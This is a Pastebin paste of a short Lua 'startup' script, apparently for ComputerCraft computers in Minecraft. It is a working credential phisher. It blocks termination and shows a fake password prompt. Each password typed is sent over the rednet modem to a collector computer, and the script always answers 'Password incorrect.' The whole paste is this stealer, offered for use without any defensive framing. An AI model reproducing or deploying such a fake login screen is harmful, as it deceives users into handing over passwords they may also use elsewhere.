Guest User

startup

a guest
Sep 11th, 2012
36
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.30 KB | None | 0 0
  1. os.pullEvent = os.pullEventRaw
  2. local id = 1 -- ID of computer to send password to
  3. local modemside = "left" -- side of the computer the modem is attached to
  4.  
  5. rednet.open(modemside)
  6. while true do
  7.   write("Password: ")
  8.   a = read("*")
  9.   rednet.send(id, a)
  10.   print("Password incorrect.")
  11.   sleep(2)
  12. end
Advertisement
Add Comment
Please, Sign In to add comment